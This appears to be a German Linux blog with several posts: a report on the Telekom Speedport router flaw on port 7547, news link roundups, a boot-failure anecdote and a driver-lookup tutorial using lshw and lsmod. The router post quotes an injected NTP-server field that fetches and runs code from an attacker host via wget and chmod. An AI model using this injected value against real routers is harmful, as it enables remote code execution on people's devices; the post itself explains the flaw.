Speedportrouter der DTAG von Sicherheitsloch betroffen

Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :

https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:

<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>

Natürlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prüfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hätte das bundesweite Chaos vom Wochenende verhindert.

Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉

 

Der erste Advents Nicht-Boot

Wenn Ihr Rechner beim Booten laufend nach dem Festplattenentschlüsselungspasswort fragt, aber das Kryptolaufwerk einfach nicht starten will, könnte es sein, daß es das tatsächlich schlicht nicht kann, weil es nicht da ist.

Was zunächst wie eine Sträter Geschichte, so gegen Mittag, kurz vorm Frühstück, anfängt, löste sich zum Glück schnell wieder auf. Hier eine Kurzzusammenfassung:

Wenn das Stromkabel nicht in der Platte steckt,
der Rechner beim Booten schlicht verreckt,
und kommt der wackre Linuxmann,
blitzesschnelle an die Hardware ran,
im Handumdrehen ist dann geschehen,
die Platte scheint doch noch zugehen.

EIne frohe und fehlerfreie Adventszeit.

Diese Woche im Netz

Ebola kann auch nur übertragen werden, ohne daran zu sterben oder zu leiden.

Quelle: Spectrum

MEGA ( der Storageanbieter formely known as Komm-ich-in-die-USA,-bleib-ich-für-immer-da ) wurde jetzt Opfer eines Hacks. Die Angreifer haben sich den Sourcecode diverser Projekte gegriffen.

Quelle: TorrentFreak

Aus Zeitmangel hat sich der zukünftige US-Präsident D.T. mit einem Vergleich aus einem Prozess um seine „Trump University“ zurückgezogen. Die Uni sollte erfolgreiche Geschäftsleute hervorbringen, was woll nicht ganz geklappt hat. Aber lest es selbst.

Quelle: Tagesspiegel

Neues aus der Redox-Fux-Batterie Ecke. Die Idee aus den 70er Jahren wird immer interessanter, weil es immer mehr Werkstoffe gibt, welche die nötigen Eigenschaften haben.

Quelle: Golem

Auf Millionen China Smartphones sind RootKitartige Tools vorinstalliert, die alle Daten des Besitzers übermitteln können.

Quelle: TheHackerNews

Diese Woche im Netz

Infiltration – Zersetzung – Bloßstellung  – Brasiliens Polizei/Armee und die sozialen Netze

Quelle: Motherboard

Über die russische Milzbrandforschung im kalten Krieg und danach.

Quelle: ArsTechnica

Ich konnte nicht anders als laut Lachen: „Angela Merkel – Führerin der freien Welt“

Quelle: zeit.de

Ihr kauft Eure Festplatten danach was einzelne Testergebnisse in PC Zeitungen Euch sagen ? WIe wärs mal mit belastbaren Statistiken 🙂

Quelle: ArsTechnica

Indien hat eine Aktion gegen Schwarzgeld gestartet, die echt einzigartig ist.

Quelle: heise.de

Eine Anti-Piracy Firma hat die Webseite der Konkurrenz nachgemacht, behauptet die Firma würde dicht machen und die eigene Konkurrenz empfohlen. Urheberrechte kann man ja ruhig verletzten, wenn man Geld damit verdienen kann 😉

Quelle: TorrentFreak

Aktive Hardwaretreiber ermitteln

Wer kennt das nicht, das Laptop läuft unrund, erkennt vielleicht den WLAN Chip nicht mehr sauber und man möchte den Treiber ersetzen.

Erste Frage: Woher weiß man, welcher Treiber überhaupt zuständig ist ?

Dazu gibt es den wirklich tollen Befehl „lshw“ , den wir hier nur auf das Netzwerk ansetzen. Er kann aber auch alle andere HW ermitteln, einfach das -C Network  weglassen.

$  lshw -C Network
  *-network                 
       description: Ethernet interface
       product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller
       vendor: Realtek Semiconductor Co., Ltd.
       physical id: 0
       bus info: pci@0000:02:00.0
       logical name: enp2s0
       version: 09
       serial: 40:16:7f:22:5b:43
       size: 1Gbit/s
       capacity: 1Gbit/s
       width: 64 bits
       clock: 33MHz
       capabilities: pm msi pciexpress msix vpd bus_master cap_list ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd 1000bt 1000bt-fd autonegotiation
       configuration: autonegotiation=on broadcast=yes driver=r8169 driverversion=2.3LK-NAPI duplex=full firmware=rtl8168f-1_0.0.5 06/18/12 ip=192.168.0.99 latency=0 link=yes multicast=yes port=MII speed=1Gbit/s
       resources: irq:45 ioport:d000(size=256) memory:d2104000-d2104fff memory:d2100000-d2103fff
  *-network:0
       description: Ethernet interface
       physical id: 1
       logical name: virbr0
       capabilities: ethernet physical
       configuration: broadcast=yes driver=bridge driverversion=2.3 firmware=N/A ip=192.168.122.1 link=no multicast=yes
  *-network:1 DISABLED
       description: Ethernet interface
       physical id: 2
       logical name: virbr0-nic
       serial: 52:54:00:0a:cf:07
       size: 10Mbit/s
       capabilities: ethernet physical
       configuration: autonegotiation=off broadcast=yes driver=tun driverversion=1.6 duplex=full link=no multicast=yes port=twisted pair speed=10Mbit/s

In Fett finden sich hier die Angaben zu den Treiber:

driver=tun driverversion=1.6
driver=bridge driverversion=2.3
driver=r8169 driverversion=2.3LK-NAPI

„tun“ ist der Tunneltreiber, also zum Aufbau von VPN Tunneln aller Art, „bridge“ ist für die Virtualisierungsbrücke, also wenn man per Boxen, VirtualBox oder KVM virtuelle Maschinen betreibt und „r8169“ ist dann endlich der RealTek Treiber für meine Netzwerkkarte. Je nach verbauter Hardware bekommt Ihr hier natürlich andere Treiber angezeigt.

Kurz Verifizieren:

# lsmod | grep r8169
r8169                  81920  0
mii                    16384  1 r8169

„lsmod“ zeigt die geladenen Kernelmodule an und nach unserem Treiber gefragt, sagt es, daß das Modul mii diesen Treiber einmal geöffnet hat. „mii“ ist ein Standard für Netzwerkkarten. Entsprechend benannt sind die mii-tools: u.a.

# mii-tool enp2s0
enp2s0: negotiated 1000baseT-HD flow-control, link ok

Die können natürlich noch viel mehr machen.

Wo findet man diesen Treiber jetzt ?

Unter /usr/lib/modules liegen sämtliche Kernelmodule nach kernels gruppiert, also suchen wir dort :

# find  /usr/lib/modules -name „*r8169*“
/usr/lib/modules/4.8.6-201.fc24.x86_64/kernel/drivers/net/ethernet/realtek/r8169.ko.xz
/usr/lib/modules/4.8.7-200.fc24.x86_64/kernel/drivers/net/ethernet/realtek/r8169.ko.xz
/usr/lib/modules/4.8.4-200.fc24.x86_64/kernel/drivers/net/ethernet/realtek/r8169.ko.xz

„ko“ steht für „kernelobject“ und „.xz“ ist ein einfacher Kompressionsalgorithmus, damit die Treiber nicht so viel Platz wegnehmen.  Jetzt darf man nicht auf die Idee kommen, daß wenn der Treiber im einen Kernel defekt ist, man einfach die Datei von einem alten Kernel kopiert, das klappt nicht 🙂 Selbst kompilieren ist angesagt, und das ist leider ein anderes Thema.

Das Ganze hier kann natürlich nur klappen, wenn der Treiber überhaupt funktioniert.

Wie bekommt man jetzt raus, welcher Treiber der richtige wäre, wenn er denn ginge ?

Der einfachste Weg: Linux Livedisk auf einen USB Stick ziehen, davon Booten und mit lshw nachsehen, was das System dazu meint. Die Treiber in den Livedisks sind i.d.R. etwas sagen wir mal „robuster“ gewählt. Ist natürlich keine Garantie. Ich empfehle auch eine Distro Livedisk zunehmen,  die entweder komplett anders ist als die auf dem System Distro installierte, oder viel neuer bzw. älter ist. Die Chance eine andere Treiberversion zu bekommen, ist dann einfach höher.

Es kommt leider mal vor, daß ein Patch für eine Chipserie eines Herstellers, den Support für ganz alte Chips entfernt oder daß die Initialparameter zum Ansteuern des älteren Chips mit Werten neuerer Chips der gleichen Serie ausgetauscht wurden. Das passiert einfach und ist keine böse Absicht des Herstellers Eurer Distro. Die Versuchen es halt auf soviel wie möglich Laptops/Mainboards zum Laufen zu bringen.

Wenn man erstmal eine funktionierende Version gefunden hat, kann man sich aus den dazugehörigen SOURCEN einen funktionierenden Treiber kompilieren und den dann auch im System laden. Idealerweise würde man den anders nennen, als den aus der Distro, so daß man den paralell installiert haben kann, ohne das er gleich wieder übergenagelt wird.

Treiber kann man im System üblicherweise beim Booten per Kernelparameter blacklisten, so das die nicht geladen werden, auch wenn sie vorhanden sind. Man trägt dann seinen eigenen Treiber in die /etc/modprobe.conf ein und der wird dann beim Start geladen. Dummerweise muß man den Treiber für jeden Kernel neu bauen. Kleiner Tip, schaut Euch mal AKMODS an, die bauen sich bei Updates selbst zusammen, wenn ein Treiber fehlt.